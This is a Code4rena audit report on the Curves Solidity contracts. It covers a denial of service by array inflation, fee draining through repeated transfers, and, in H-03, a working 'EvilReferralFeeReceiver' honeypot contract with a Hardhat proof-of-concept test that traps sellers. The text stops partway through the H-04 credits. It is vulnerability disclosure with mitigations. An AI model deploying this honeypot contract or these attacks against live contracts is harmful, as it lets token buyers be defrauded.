Curves
Findings & Analysis Report

2024-07-19

Overview
- About C4
- Wardens
Summary
Scope
Severity Criteria
High Risk Findings (5)
Medium Risk Findings (10)
Low Risk and Non-Critical Issues
Gas Optimizations
Audit Analysis
Disclosures

Overview

About C4

Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.

A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.

During the audit outlined in this document, C4 conducted an analysis of the Curves smart contract system written in Solidity. The audit took place between January 8 — January 16, 2024.

Following the C4 audit, warden hals reviewed the mitigations for all identified issues; the mitigation review report can be found here.

Wardens

303 Wardens contributed reports to Curves:

DarkTower (Gelato_ST, Maroutis, OxTenma, and 0xrex)
d3e4
peanuts
0x0bserver
0xStalin
Aymen0909
0xE1
Soul22
hals
santipu_
ether_sky
zhaojie
_eperezok
btk
SpicyMeatball
m4ttm
rvierdiiev
visualbits
MrPotatoMagic
nuthan2x
aslanbek
kutugu
BowTiedOriole
0xPhantom
hunter_w3b
nonseodion
EV_om
McToady
wangxx2026
Sathish9098
dimulski
fouzantanveer
0xepley
alexfilippov314
ZanyBonzy
0xAadi
Arion
0xSmartContract
yongskiws
spaghetticode_sentinel
M3azad
nmirchev8
Kow
0xNaN
xiao
Bobface
0xmystery
cats
slylandro_star
amaechieth
matejdb
burhan_khaja
AlexCzm
Krace
zxriptor
bengyles
lukejohn
mrudenko
c3phas
slvDev
ktg
jesjupyter
twcctop
ahmedaghadi
KingNFT
eeshenggoh
adamn000
erosjohn
13u9
pipidu83
Daniel526
0x11singh99
SY_S
SAQ
shamsulhaq123
Raihan
JCK
dharma09
0xAnah
jasonxiale
grearlake
merlinboii
SovaSlava
imare
para8956
Nikki
UbiquitousComputing (thekmj and simplor)
Cosine
lsaudit
gesha17
jangle
anshujalan
y4y
0xPluto
HChang26
th13vn
gkrastenov
tala7985
catellatech
osmanozdemir1
klau5
erebus
cheatc0d3
dd0x7e8
XORs33r
0x111
Prathik3
0xStriker
7ashraf
0xGreyWolf
mgf15
naman1778
sivanesh_808
0xta
0xhex
K42
deepplus
n1punp
Soliditors (Tadev, 3docSec, and 0xBeirao)
0xc0ffEE
KupiaSec
whoismatthewmc1
sl1
0xprinc
israeladelaja
spacelord47
Ryonen
jacopod
mahdirostami
Josephdara_0xTiwa (josephdara and 0xTiwa)
Draiakoo
FastChecker
DanielArmstrong
zhaojohnson
lil_eth
hihen
danb
pkqs90
Kose
0xMAKEOUTHILL
zaevlad
opposingmonkey
khramov
Inference
codegpt
Oxsadeeq
Topmark
developerjordy
adeolu
pep7siup
almurhasan
Lalanda
ptsanev
LeoGold
cartlex_
0xSwahili
KmanOfficial
Nachoxt17
karanctf
Faith
0xhashiman
mitev
polarzero
John_Femi
jatin_19
kiki
JayShreeRAM
0xmuxyz
Shubham
0xfave
jovemjeune
ziyou-
Tigerfrake
cccz
ke1caM
Tychai0s
haxatron
bronze_pickaxe
yixxas
PENGUN
BugzyVonBuggernaut
Matue
0xDemon
iamandreiski
CDSecurity (chrisdior4 and ddimitrov22)
0xLogos
Kong
ubermensch
oreztker
TermoHash
Stormreckson
AS
emrekocak
DMoore
0xJaeger
jesusrod15
igbinosuneric
batsanov
peritoflores
salutemada
novodelta
ubl4nk
kodyvim
Mylifechangefast_eth
dutra
LouisTsai
51l3nt
DimaKush
vnavascues
Timenov
darksnow
42TechLabs
oxTory
nnez
thank_you
InAllHonesty
OMEN
petro_1912
rouhsamad
Varun_05
fishgang
tonisives
cu5t0mpeo
ro1sharkm
Silvermist
c0pp3rscr3w3r
todorc
dopeflamingo
kuprum
Tumelo_Crypto
al88nsk
Mike_Bello90
Zach_166
alexbabits
nazirite
L0s1
AgileJune
0xlamide
ravikiranweb3
Ephraim
spark
SanketKogekar
0xblackskull
PetarTolev
Kaysoft
Lef
Timeless
Bjorn_bug
negin
Night
latt1ce
Mwendwa
parlayan_yildizlar_takimi (ata, caglankaan, and ulas)
Avci (0xdanial and 0xArshia)
bigtone
djxploit
0xMango
GhK3Ndf
dyoff
ivanov
The-Seraphs (pxng0lin, solsaver, and zzebra83)
ArsenLupin
kodak_rome
baice
bbl4de
azanux
XDZIBECX
Mj0ln1r
Berring
VigilantE
forkforkdog
Inspex (DeStinE21, ErbaZZ, Rugsurely, doggo, jokopoppo, mimic_f, and rxnnxchxi)
popelev
PoeAudits
bareli
KHOROAMU
AmitN
Lirios
iberry
rudolph
IceBear
skyge
andywer
pipoca

This audit was judged by alcueca.

Final report assembled by PaperParachute and thebrittfactor.

Summary

The C4 analysis yielded an aggregated total of 15 unique vulnerabilities. Of these vulnerabilities, 5 received a risk rating in the category of HIGH severity and 10 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 113 reports detailing issues with a risk rating of LOW severity or non-critical. There were also 23 reports recommending gas optimizations.

All of the issues presented here are linked back to their original finding.

Scope

The code under review can be found within the C4 Curves repository, and is composed of 5 smart contracts written in the Solidity programming language and includes 553 lines of Solidity code.

In addition to the known issues identified by the project team, a Code4rena bot race was conducted at the start of the audit. The winning bot, LightChaser from warden(s) ChaseTheLight, generated the Automated Findings report and all findings therein were classified as out of scope.

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

Malicious Input Handling
Escalation of privileges
Arithmetic
Gas use

For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.

High Risk Findings (5)

[H-01] Whitelisted accounts can be forcefully DoSed from buying `curveTokens` during the presale

Submitted by 0xStalin, also found by osmanozdemir1, ahmedaghadi, whoismatthewmc1, nonseodion, deepplus (1, 2), d3e4, Josephdara_0xTiwa, matejdb (1, 2), gesha17 (1, 2), emrekocak, Tychai0s, c3phas, Aymen0909, 0xJaeger, anshujalan, hihen, slylandro_star, TermoHash, ktg, grearlake, Ryonen, yixxas, CDSecurity, lsaudit (1, 2), santipu_, jesusrod15, 0xc0ffEE, Kong, 0xprinc, Cosine, _eperezok, 0xE1, sl1, ke1caM, 0xLogos, KingNFT, n1punp (1, 2, 3), danb, lil_eth, UbiquitousComputing, DMoore, lukejohn, klau5, igbinosuneric, jasonxiale, KupiaSec, cats, hals, EV_om, bronze_pickaxe, cccz, Stormreckson, jangle, Soliditors, y4y, batsanov, rvierdiiev, 0xPluto, and AS

https://github.com/code-423n4/2024-01-curves/blob/main/contracts/Curves.sol#L328-L336

https://github.com/code-423n4/2024-01-curves/blob/main/contracts/Curves.sol#L276-L279

Whitelisted accounts can be DoSed from buying curveTokens during the presale by a malicious party, as a result, the user who owns the whitelisted account will be forced to miss the presale and it will be able to acquire the curveTokens only during the open sale using a different account.

Proof of Concept

When a whitelised account purchases curveTokens during the presale, the user calls the Curves::buyCurvesTokenWhitelisted() function, internally, this function verifies the provided proof and if valid, calls the Curves::_buyCurvesToken() function where if the account is purchasing curveTokens of the curveTokenSubject for the first time (which it does, because its his first purchase during a presale), it calls the Curves::_addOwnedCurvesTokenSubject() function, and in this function, it will load all the curveTokens owned by the account ownedCurvesTokenSubjects, then it will iterate over this array, if the address of the curvesTokenSubject is already in the user’s array (which is not, because the account is buying curveTokens of this curvesTokenSubject for the first time), the function just returns, if the curvesTokenSubject is not in the array, then the curvesTokenSubject is added to the array.

One of the problems that causes malicious parties to DoS whitelisted accounts from buying during a presale it is the fact that the ownedCurvesTokenSubjects is loaded from storage, and the variable that is iterated on the for loop inside the Curves::_addOwnedCurvesTokenSubject() function is loaded from storage, thus, it will consume more gas, thus, less iteration will be able to do.

Now, not only because the for loop is iterating a storage variable automatically means this is a problem, the second problem is that this array only grows, even though the account dumps/sells/transfers/withdraw curveTokens from different curveTokenSubjects, the array ownedCurvesTokenSubjects never decreases, once it has added a registry, it will be there forever. The only way to decrease the length of an array is by poping values from it, but, right now, it is not implemented anywhere that if the user stops owning curveTokens of a curveTokenSubject the address of the curveTokenSubject is poped from the ownedCurvesTokenSubjects array.

Finally, the third problem is that the ownedCurvesTokenSubjects array can be manipulated at will by external parties, not only by the account itself. When any account does a transfer of curveTokens to another account, either by calling the Curves::transferCurvesToken() function or the Curves::transferAllCurvesTokens() function, any of the two functions will internally call the Curves::_transfer() function, which it will call the Curves::_addOwnedCurvesTokenSubject() function and update the ownedCurvesTokenSubjects array of the to address.

For the purpose of this attack, the to address would be the address of a whitelisted account, which means, any user can transfer curveTokens of a nobody subjectToken to a whitelisted account for a presale of a curveTokenSubject, this will cause the ownedCurvesTokenSubjects array of the whitelisted account to grow and grow, up until the point that causes a gas error because of the length of the array.

Let’s do a walkthrough of the code and see in detail everything that was mentioned previously.

Curves.sol

contract Curves is CurvesErrors, Security {
  ...
  function _buyCurvesToken(address curvesTokenSubject, uint256 amount) internal {
    ...
    ...
    ...

    //@audit-info => If is the first time the account is purchasing the curvesTokens of the curvesTokenSubject, will call the _addOwnedCurvesTokenSubject()
    //@audit-info => When a whitelisted account is purchasing tokens during the presale, the account owns 0 curveTokens of the curvesTokenSubject who launches the presale, therefore, the _addOwnedCurvesTokenSubject() is called

    // If is the first token bought, add to the list of owned tokens
    if (curvesTokenBalance[curvesTokenSubject][msg.sender] - amount == 0) {
        _addOwnedCurvesTokenSubject(msg.sender, curvesTokenSubject);
    }
  }

  function transferCurvesToken(address curvesTokenSubject, address to, uint256 amount) external {
    ...
    _transfer(curvesTokenSubject, msg.sender, to, amount);
  }

  function transferAllCurvesTokens(address to) external {
    ...
        ...
            _transfer(subjects[i], msg.sender, to, amount);
        ...
    ...
  }

  function _transfer(address curvesTokenSubject, address from, address to, uint256 amount) internal {
        ...

        // If transferring from oneself, skip adding to the list
        if (from != to) {
            //@audit-issue => When transferring curveTokens from one account to another, the _addOwnedCurvesTokenSubject() function is called
            //@audit-issue => It means, anybody can transfer curveTokens of a nobody subjectToken to a whitelisted account to inflate his `ownedCurvesTokenSubjects` array till the point that the iteration causes a gas error and reverts the tx!!! 
            _addOwnedCurvesTokenSubject(to, curvesTokenSubject);
        }
        ...
  }

  function _addOwnedCurvesTokenSubject(address owner_, address curvesTokenSubject) internal {
    //@audit-issue => Issue 1: iterates over a variable that is reading from storage!
    address[] storage subjects = ownedCurvesTokenSubjects[owner_];
    for (uint256 i = 0; i < subjects.length; i++) {
        if (subjects[i] == curvesTokenSubject) {
            return;
        }
    }
    //@audit-issue => Issue 3: When a malicious party transfers curvesTokens of a nobody subjectToken to a whitelisted account, the address of the nobody curvesTokenSubject is added to the `ownedCurvesTokenSubjects` array of the whitelisted account.
    subjects.push(curvesTokenSubject);
  }
  
  ...
  ...
  ...
  
  //@audit-issue => Issue 2: Anywhere in the Curves contract is an implementation that allows accounts to pop curvesTokenSubject addresses from their `ownedCurvesTokenSubjects` array
  //@audit-info => By poping addresses from the `ownedCurvesTokenSubjects` array would be the only way that a user could prevent the permanent DoS and be able to purchase tokens using the whitelisted account during the presale!
}

Now that we’ve seen where and why the permanent DoS on whitelisted accounts can be performed, let’s see the attack vector.

A subjectToken launches a presale and whitelists X number of accounts to allow them to participate in his presale. A malicious user creates new curveTokens using random accounts, then, using a single account buys 1 curveTokens of all the random tokenSubjects, then, proceeds to call the Curves::transferAllCurvesTokens() function, as a result of this, in a single call, the malicious user will inflate the ownedCurvesTokenSubjects array of the whitelisted account, this will cause that when the whitelisted account attempts to purchase the curvesTokens of the real subjectToken during the presale, his transaction will be reverted because his ownedCurvesTokenSubjects array was filled with registries of nobodies subjectTokens, the array was inflated so much till the point that it can’t be iterated and will fail with a gas exception. The whitelisted account has no means to pop any of those registries from his ownedCurvesTokenSubjects array, and as a result of this, the user who owns the whitelisted account was forcefully dosed during the presale, now, the only way for him to acquire curveTokens of that tokenSubject will be by using a different account during the open-sale.

Recommended Mitigation Steps

The most straightforward mitigation to prevent the permanent DoS is to implement logic that allows accounts to get rid of curveTokens from tokenSubjects they don’t want to own.

Make sure to implement the pop() functionality to the ownedCurvesTokenSubjects array when the account doesn’t own any curveToken of a tokenSubject.

This should be implemented in the functions Curves::sellCurvesToken() function & Curves::_transfer() function. Whenever the account’s curvesTokenBalance is updated on any of these two functions, make sure to validate if the post balance is 0, if so, pop the subjectToken’s address from the ownedCurvesTokenSubjects array of the account.

By allowing users to have control over their ownedCurvesTokenSubjects array, there won’t be any incentive from third parties to attempt to cause a DoS by inflating the users’ ownedCurvesTokenSubjects array, now, each user will be able to clean up their array as they please.

A more elaborated mitigation that will require more changes across the codebase is to use EnumerableSets instead of arrays, and make sure to implement correctly the functions offered by the EnumerableSets, such as .contain(), .delete() and .add().

But in the end, the objective must be the same, allow users to have control over their ownedCurvesTokenSubjects, if they stop owning a curveToken of a certain tokenSubject, remove that address from the ownedCurvesTokenSubjects variable.

alcueca (Judge) commented:

The impact in this report is more severe than in the duplicates; however, the root cause stays the same.

andresaiello (Curves) acknowledged

Note: For full discussion, see here.

[H-02] Unrestricted claiming of fees due to missing balance updates in `FeeSplitter`

*Submitted by EV_om, also found by lukejohn, Tychai0s, visualbits, Josephdara_0xTiwa, kuprum, 0x0bserver, peritoflores, Tumelo_Crypto, anshujalan, Kose, nonseodion (1, 2), Aymen0909, grearlake, Kong, 0xPhantom (1, 2), jangle, rouhsamad, Soul22 (1, 2), btk (1, 2), 0xE1, Ryonen, Varun_05 (1, 2), 0xmystery, jacopod (1, 2, 3), wangxx2026 (1, 2), novodelta, ubermensch (1, 2), Draiakoo (1, 2), 0xprinc, santipu_, DarkTower, 0xc0ffEE (1, 2), petro_1912 (1, 2), almurhasan, Cosine, 0xNaN, zhaojie (1, 2), khramov, al88nsk, mahdirostami, Lalanda, iamandreiski (1, 2), jasonxiale (1, 2), UbiquitousComputing, pep7siup, osmanozdemir1, 0xLogos, salutemada, oreztker (1, 2), alexfilippov314, peanuts (1, 2), SovaSlava, aslanbek, SpicyMeatball, dimulski, BowTiedOriole, Bobface, Soliditors, dopeflamingo, nmirchev8, hals (1, 2), Krace, klau5, ke1caM, nuthan2x, cccz, pkqs90, AlexCzm (1, 2, 3), 0xMAKEOUTHILL, ptsanev, Kow, israeladelaja, rvierdiiev, kutugu (1, 2), DarkTower, peanuts, d3e4, 0x0bserver, Aymen0909, 0xE1, Soul22, and 0xStalin**

The FeeSplitter contract is designed to distribute fees among token holders. It employs an accumulator pattern to distribute rewards over time among users who do not sell or withdraw their tokens as ERC20s. This pattern works by maintaining an accumulator representing the cumulative total of the reward rate over time, and updating it for each user every time their balance changes.

However, the current implementation does not update the accumulator associated with each user during token transfers, deposits, or withdrawals. The onBalanceChange() function, which is responsible for updating the accumulator following changes in a user’s balance, is exclusively called from Curves._transferFees(), which is only called during buy and sell transactions.

This oversight can be easily exploited to drain the FeeSplitter contract of its fees. An attacker could repeatedly transfer the same tokens to new accounts and claim fees every time. This is possible because data.userFeeOffset[account] will be zero for every new account they transfer to, while the claimable rewards are calculated using the current balance returned by the Curves contract.

Since there is no limit to the amount of rewards that may accumulate in the FeeSplitter contract, this can be considered loss of matured yield and is hence classified as high severity.

Proof of Concept

Consider the following scenario:

Alice buys any amount of curve tokens.
Alice transfers her tokens to a new account, Account1, by calling transferCurvesToken().
The onBalanceChange() function is not triggered during the transfer, so data.userFeeOffset[account] for Account1 is not updated.

Account1 can now call FeeSplitter.claimFees() and will receive fees as if it had been holding the tokens since the beginning, as data.userFeeOffset[account] for this account is 0.

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L63-L88

function updateFeeCredit(address token, address account) internal {
    TokenData storage data = tokensData[token];
    uint256 balance = balanceOf(token, account);
    if (balance > 0) {
        uint256 owed = (data.cumulativeFeePerToken - data.userFeeOffset[account]) * balance;
        data.unclaimedFees[account] += owed / PRECISION;
        data.userFeeOffset[account] = data.cumulativeFeePerToken;
    }
}

...

function claimFees(address token) external {
    updateFeeCredit(token, msg.sender);
    uint256 claimable = getClaimableFees(token, msg.sender);
    if (claimable == 0) revert NoFeesToClaim();
    tokensData[token].unclaimedFees[msg.sender] = 0;
    payable(msg.sender).transfer(claimable);
    emit FeesClaimed(token, msg.sender, claimable);
}

Alice creates another new account, Account2, and transfers the tokens from Account1 to Account2.
The onBalanceChange(token, account) function is not triggered during this transfer, so data.userFeeOffset[account] for Account2 is zero.
Account2 can now claim fees.
Alice can repeat this process, creating new accounts and transferring tokens between them, to drain the contract of its fees.

Recommended Mitigation Steps

To mitigate this issue, the onBalanceChange(token, account) function should be triggered during all token transfers, deposits, and withdrawals. For token transfers, it should be triggered for both accounts. This will ensure that userFeeOffset is accurately tracked, preventing users from claiming fees multiple times.

raymondfam (Lookout) commented:

The root cause is due to not calling updateFeeCredit() diligently.

andresaiello (Curves) confirmed

[H-03] Attack to make `CurveSubject` to be a `HoneyPot`

Submitted by KingNFT, also found by lukejohn, 0xmystery, DimaKush, vnavascues, Matue, adamn000, Kose, 0xDemon (1, 2), jacopod, 0xStalin, MrPotatoMagic, 42TechLabs, oxTory, nnez, yixxas, ktg, thank_you, ubermensch, opposingmonkey, nonseodion, btk, matejdb, 0xc0ffEE, salutemada, novodelta, zhaojie, _eperezok, sl1, mrudenko, PENGUN, osmanozdemir1, spacelord47, mahdirostami, DarkTower, InAllHonesty, SpicyMeatball, alexfilippov314 (1, 2), oreztker, Timenov, zhaojohnson, eeshenggoh, SovaSlava, dimulski, UbiquitousComputing, cats, Soliditors, nmirchev8, darksnow, BugzyVonBuggernaut, hals, ke1caM, peanuts, EV_om, cccz, bronze_pickaxe, OMEN, 0xMAKEOUTHILL, aslanbek, israeladelaja, Kow, and haxatron,

Any CurveSubjects clould be turned to a HoneyPot by the creator of CurveSubject, which causes that users can only buy but can’t sell the curve tokens any more. Then malicious creators can sell their own tokens at a high price to make profit.

Proof of Concept

First, please pay attention on L241 of Curves._transferFees() function: we can see the referralFeeDestination is always be called even when referralFee is 0, and if the call fails the whole transaction would revert.

File: contracts\Curves.sol
218:     function _transferFees(
...
224:     ) internal {
225:         (uint256 protocolFee, uint256 subjectFee, uint256 referralFee, uint256 holderFee, ) = getFees(price);
226:         {
227:             bool referralDefined = referralFeeDestination[curvesTokenSubject] != address(0);
228:             {
229:                 address firstDestination = isBuy ? feesEconomics.protocolFeeDestination : msg.sender;
230:                 uint256 buyValue = referralDefined ? protocolFee : protocolFee + referralFee;
231:                 uint256 sellValue = price - protocolFee - subjectFee - referralFee - holderFee;
232:                 (bool success1, ) = firstDestination.call{value: isBuy ? buyValue : sellValue}("");
233:                 if (!success1) revert CannotSendFunds();
234:             }
235:             {
236:                 (bool success2, ) = curvesTokenSubject.call{value: subjectFee}(""); 
237:                 if (!success2) revert CannotSendFunds();
238:             }
239:             {
240:                 (bool success3, ) = referralDefined
                           // @audit always be called even when referralFee is 0
241:                     ? referralFeeDestination[curvesTokenSubject].call{value: referralFee}("") 
242:                     : (true, bytes(""));
243:                 if (!success3) revert CannotSendFunds();
244:             }
245: 
246:             if (feesEconomics.holdersFeePercent > 0 && address(feeRedistributor) != address(0)) {
247:                 feeRedistributor.onBalanceChange(curvesTokenSubject, msg.sender);
248:                 feeRedistributor.addFees{value: holderFee}(curvesTokenSubject);
249:             }
250:         }
...
261:     }

And, we also find the referralFeeDestination could be set and updated by creator of CurveSubject at any time.

File: contracts\Curves.sol
155:     function setReferralFeeDestination(
156:         address curvesTokenSubject,
157:         address referralFeeDestination_
158:     ) public onlyTokenSubject(curvesTokenSubject) {
159:         referralFeeDestination[curvesTokenSubject] = referralFeeDestination_;
160:     }

By exploiting the above two facts, we can design the following malicious EvilReferralFeeReceiver contract. Once it was set as ReferralFeeDestination, the HoneyPot mode is enabled, users can only buy but can’t sell the related curve tokens any more.

// @note: put in file: 2024-01-curves\contracts\Test\EvilReferralFeeReceiver.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

import "@openzeppelin/contracts/access/Ownable.sol";

interface ICurves {
    function curvesTokenBalance(address subject, address account) external view returns (uint256);
}

contract EvilReferralFeeReceiver is Ownable {
    ICurves private _curves;
    address private _subject;
    mapping(address => uint256) private _balances;
    mapping(address => bool) private _allowlist;

    function setCurvesAndSubject(address curves, address subject) external onlyOwner {
        _curves = ICurves(curves);
        _subject = subject;
    }

    function setAllowList(address account, bool allow) external onlyOwner {
        _allowlist[account] = allow;
    }

    function updateBalances(address[] memory accounts) external onlyOwner {
        for (uint256 i; i < accounts.length; ++i) {
            address account = accounts[i];
            _balances[account] = _curves.curvesTokenBalance(_subject, account);
        }
    }

    receive() external payable {
        if (_allowlist[tx.origin]) return;
        // only buy, can't sell
        uint256 newBalance = _curves.curvesTokenBalance(_subject, tx.origin);
        if (newBalance <= _balances[tx.origin]) revert("Honey Pot");
        _balances[tx.origin] = newBalance;
    }
}

The full coded PoC:

import { expect, use } from "chai";
import { solidity } from "ethereum-waffle";
use(solidity);
import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers";
//@ts-ignore
import { ethers } from "hardhat";

import { type Curves } from "../contracts/types";
import { buyToken } from "../tools/test.helpers";
import { deployCurveContracts } from "./test.helpers";

describe("Make Curve Subject To Be A Honey Pot test", () => {
  let testContract;
  let evilReferralFeeReceiver;
  let owner: SignerWithAddress, evilSubjectCreator: SignerWithAddress,
      alice: SignerWithAddress, bob: SignerWithAddress, others: SignerWithAddress[];
  beforeEach(async () => {
    testContract = await deployCurveContracts();
    [owner, evilSubjectCreator, alice, bob, others] = await ethers.getSigners();
    const EvilReferralFeeReceiver = await ethers.getContractFactory("EvilReferralFeeReceiver");
    evilReferralFeeReceiver = await EvilReferralFeeReceiver.connect(evilSubjectCreator).deploy();
  });

  it("While 'HONEY POT' mode enabled, users can only buy, but can't sell any Curve token ", async () => {
    // 1. The evil create a subject and set a normal referral fee receiver 
    await testContract.connect(evilSubjectCreator).mint(evilSubjectCreator.address);
    await testContract.connect(evilSubjectCreator).setReferralFeeDestination(
      evilSubjectCreator.address, evilSubjectCreator.address
    );

    // 2. The evil buy enough tokens at low price
    await buyToken(testContract, evilSubjectCreator, evilSubjectCreator, 1);
    await buyToken(testContract, evilSubjectCreator, evilSubjectCreator, 10);

    // 3. victims buy or sell tokens normally
    await buyToken(testContract, evilSubjectCreator, alice, 10);
    await testContract.connect(alice).sellCurvesToken(evilSubjectCreator.address, 5);
    await buyToken(testContract, evilSubjectCreator, bob, 10);
    await testContract.connect(bob).sellCurvesToken(evilSubjectCreator.address, 5);

    // 4. at some time point, the evil enables 'HONEY POT' mode by updating the referral fee receiver
    await testContract.connect(evilSubjectCreator).setReferralFeeDestination(
      evilSubjectCreator.address, evilReferralFeeReceiver.address
    );
    await evilReferralFeeReceiver.connect(evilSubjectCreator).setCurvesAndSubject(
      testContract.address, evilSubjectCreator.address
    );
    await evilReferralFeeReceiver.connect(evilSubjectCreator).updateBalances(
      [alice.address, bob.address]
    );


    // 5. now, victims can buy, but can't sell
    await buyToken(testContract, evilSubjectCreator, alice, 1);
    let tx = testContract.connect(alice).sellCurvesToken(evilSubjectCreator.address, 1);
    expect(tx).to.revertedWith("CannotSendFunds()");

    // 6. but the evil can sell tokens normally, of course at a higher price than buy and make profit
    await  evilReferralFeeReceiver.connect(evilSubjectCreator).setAllowList(
      evilSubjectCreator.address, true
    );
    testContract.connect(evilSubjectCreator).sellCurvesToken(evilSubjectCreator.address, 11);
  });

});

The test logs:

2024-01-curves> npx hardhat test ./test/MakeCurveSubjectToBeAHoneyPot.ts
No need to generate any newer typings.
 ·---------------------------|--------------------------------|--------------------------------·
 |  Solc version: 0.8.7      ·  Optimizer enabled: false      ·  Runs: 200                     │
 ····························|································|·································
 |  Contract Name            ·  Deployed size (KiB) (change)  ·  Initcode size (KiB) (change)  │
 ····························|································|·································
 |  console                  ·                 0.084 (0.000)  ·                 0.162 (0.000)  │
 ····························|································|·································
 |  Curves                   ·                23.046 (0.000)  ·                23.575 (0.000)  │
 ····························|································|·································
 |  CurvesERC20              ·                 6.813 (0.000)  ·                 8.723 (0.000)  │
 ····························|································|·································
 |  CurvesERC20Factory       ·                 9.843 (0.000)  ·                 9.874 (0.000)  │
 ····························|································|·································
 |  ERC20                    ·                 4.593 (0.000)  ·                 5.522 (0.000)  │
 ····························|································|·································
 |  EvilReferralFeeReceiver  ·                 3.407 (0.000)  ·                 3.670 (0.000)  │
 ····························|································|·································
 |  FeeSplitter              ·                 6.611 (0.000)  ·                 6.790 (0.000)  │
 ····························|································|·································
 |  Math                     ·                 0.084 (0.000)  ·                 0.162 (0.000)  │
 ····························|································|·································
 |  MerkleProof              ·                 0.084 (0.000)  ·                 0.162 (0.000)  │
 ····························|································|·································
 |  MockCurvesForFee         ·                 0.861 (0.000)  ·                 0.893 (0.000)  │
 ····························|································|·································
 |  MockERC20                ·                 5.902 (0.000)  ·                 6.944 (0.000)  │
 ····························|································|·································
 |  Security                 ·                 0.847 (0.000)  ·                 1.025 (0.000)  │
 ····························|································|·································
 |  SignedMath               ·                 0.084 (0.000)  ·                 0.162 (0.000)  │
 ····························|································|·································
 |  Strings                  ·                 0.084 (0.000)  ·                 0.162 (0.000)  │
 ·---------------------------|--------------------------------|--------------------------------·

  Make Curve Subject To Be A Honey Pot test
    ✔ While 'HONEY POT' mode enabled, users can only buy, but can't sell any Curve token 

·---------------------------------------------------------|----------------------------|-------------|-----------------------------·
|                   Solc version: 0.8.7                   ·  Optimizer enabled: false  ·  Runs: 200  ·  Block limit: 30000000 gas  │      
··························································|····························|·············|······························      
|  Methods                                                                                                                         │      
····························|·····························|·············|··············|·············|···············|··············      
|  Contract                 ·  Method                     ·  Min        ·  Max         ·  Avg        ·  # calls      ·  eur (avg)  │      
····························|·····························|·············|··············|·············|···············|··············      
|  Curves                   ·  buyCurvesToken             ·      67030  ·      142555  ·     111636  ·            5  ·          -  │      
····························|·····························|·············|··············|·············|···············|··············      
|  Curves                   ·  mint                       ·          -  ·           -  ·    1688644  ·            1  ·          -  │      
····························|·····························|·············|··············|·············|···············|··············      
|  Curves                   ·  sellCurvesToken            ·      63915  ·       66404  ·      65574  ·            3  ·          -  │      
····························|·····························|·············|··············|·············|···············|··············      
|  Curves                   ·  setReferralFeeDestination  ·      27806  ·       44906  ·      36356  ·            2  ·          -  │      
····························|·····························|·············|··············|·············|···············|··············      
|  EvilReferralFeeReceiver  ·  setAllowList               ·          -  ·           -  ·      46749  ·            1  ·          -  │      
····························|·····························|·············|··············|·············|···············|··············      
|  EvilReferralFeeReceiver  ·  setCurvesAndSubject        ·          -  ·           -  ·      69075  ·            1  ·          -  │      
····························|·····························|·············|··············|·············|···············|··············      
|  EvilReferralFeeReceiver  ·  updateBalances             ·          -  ·           -  ·      86201  ·            1  ·          -  │      
····························|·····························|·············|··············|·············|···············|··············      
|  FeeSplitter              ·  setCurves                  ·          -  ·           -  ·      44119  ·            1  ·          -  │      
····························|·····························|·············|··············|·············|···············|··············      
|  FeeSplitter              ·  setManager                 ·          -  ·           -  ·      46637  ·            1  ·          -  │      
····························|·····························|·············|··············|·············|···············|··············      
|  Deployments                                            ·                                          ·  % of limit   ·             │      
··························································|·············|··············|·············|···············|··············      
|  Curves                                                 ·          -  ·           -  ·    5232831  ·       17.4 %  ·          -  │      
··························································|·············|··············|·············|···············|··············      
|  CurvesERC20Factory                                     ·          -  ·           -  ·    2217610  ·        7.4 %  ·          -  │      
··························································|·············|··············|·············|···············|··············      
|  EvilReferralFeeReceiver                                ·          -  ·           -  ·     831586  ·        2.8 %  ·          -  │      
··························································|·············|··············|·············|···············|··············      
|  FeeSplitter                                            ·          -  ·           -  ·    1558984  ·        5.2 %  ·          -  │      
·---------------------------------------------------------|-------------|--------------|-------------|---------------|-------------·      

  1 passing (2s)

Recommended Mitigation Steps

Solady’s forceSafeTransferETH() seems suitable for this case:

https://github.com/Vectorized/solady/blob/61612f187debb7affbe109543556666ef716ef69/src/utils/SafeTransferLib.sol#L117

andresaiello (Curves) confirmed

alcueca (Judge) commented:

Keeping as High because with this the DAO controlling the platform would have to do an enormous effort to keep scammers out.

[H-04] Unauthorized Access to `setCurves` Function

Submitted by parlayan_yildizlar_takimi, also found by Avci, 0x11singh99, visualbits, bigtone, djxploit, 0xMango, Arion, Nachoxt17, m4ttm, Ephraim, GhK3Ndf, spark, karanctf, LeoGold, peritoflores, Matue, dutra, dyoff, vnavascues, Josephdara_0xTiwa, SanketKogekar, Kose, Faith, McToady, santipu_, imare, jangle, Aymen0909, ktg, ivanov, bengyles (1, 2), Nikki, 0xAadi, kuprum, Zach_166, c0pp3rscr3w3r, 0xhashiman, burhan_khaja, anshujalan, The-Seraphs, mitev, Soul22, ArsenLupin, rouhsamad, DimaKush, tonisives, kodak_rome, adamn000, TermoHash, nazirite, 0xStalin, baice, Ryonen, cu5t0mpeo, whoismatthewmc1, FastChecker, bbl4de, Mike_Bello90, erebus, ether_sky, Draiakoo, opposingmonkey, btk, azanux, 0xSmartContract, XDZIBECX, Varun_05, ahmedaghadi, novodelta, Mj0ln1r, Berring, VigilantE, MrPotatoMagic, 0xc0ffEE, LouisTsai, nonseodion, forkforkdog, codegpt, Kong, DanielArmstrong, kodyvim, 0xprinc, Cosine, salutemada, th13vn, Inspex, popelev, grearlake, zhaojie, _eperezok, jacopod, 0xNaN, PoeAudits, Oxsadeeq, khramov, 0xblackskull, bareli, KHOROAMU, para8956, KingNFT, 0xPhantom, 13u9, sl1, AmitN, wangxx2026, pipidu83, XORs33r, mahdirostami, Prathik3, merlinboii, PENGUN, jasonxiale, pep7siup, lukejohn, spacelord47, danb, dd0x7e8, Lirios, 0xLogos, alexfilippov314, DMoore, iamandreiski, PetarTolev, zhaojohnson, iberry, eeshenggoh, zxriptor, Kaysoft, SovaSlava, oreztker, nmirchev8, 